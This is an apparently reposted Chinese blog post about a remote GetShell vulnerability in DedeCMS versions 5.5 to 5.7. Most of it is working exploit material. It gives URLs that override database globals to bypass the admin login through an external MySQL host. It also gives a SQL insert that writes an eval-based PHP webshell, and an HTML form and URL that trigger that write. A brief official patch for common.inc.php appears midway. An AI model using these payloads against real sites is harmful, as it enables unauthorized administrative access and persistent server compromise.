分享

DEDECMS(织梦程序)5.5-5.7通杀GetShell漏洞

 昵称597197 2015-03-16

入侵步骤如下:http://www./织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root 
把上面validate后面的字母改为当前的验证码,即可直接进入网站后台。 
小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法:

解决办法: 
找到include/common.inc.php文件,把 
foreach($_REQUEST as $_k=>$_v) 

var_dump($_k); 
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ): 

exit('Request var not allow!'); 


换成

//检查和注册外部提交的变量 
function CheckRequest(&$val) { 
if (is_array($val)) { 
foreach ($val as $_k=>$_v) { 
CheckRequest($_k); 
CheckRequest($val[$_k]); 

} else 

if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) ) 

exit('Request var not allow!'); 



CheckRequest($_REQUEST); 
网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell

前题条件,必须准备好自己的dede数据库,然后插入数据: 
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}'); 
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();"> 
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br /> 
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br /> 
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br /> 
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /> 
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br /> 
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br /> 
<input type="text" value="true" name="nocache" style="width:400"> 
<input type="submit" value="提交" name="QuickSearchBtn"><br /> 
</form> 
<script> 
function addaction() 

document.QuickSearch.action=document.QuickSearch.doaction.value; 

</script> 
==================================================== 
DedeCms v5.6-5.7 0day 
其实除过windows系统,很多服务提供商是不让php连接外部mysql服务器的。

用PHPNow在本地搭建DEDECMS运行环境并安装DEDECMS,这里以DedeCMSV57_UTF8为例。

直接进后台:

dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_

直接获得webshell:

进入自己在本地搭建的dede数据库,然后插入数据:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');

在地址栏提交以下语句即可获得一句话木马plus/1.php:

plus/mytag_js.php?aid=1&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_&nocache=true


    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多